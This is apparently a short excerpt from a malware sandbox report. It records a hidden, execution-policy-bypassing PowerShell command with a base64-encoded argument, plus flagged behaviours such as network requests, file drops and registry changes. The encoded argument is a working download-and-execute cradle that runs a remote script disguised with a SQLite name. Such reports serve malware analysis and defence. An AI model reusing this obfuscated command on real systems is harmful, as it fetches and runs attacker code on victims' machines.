C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:652
-
-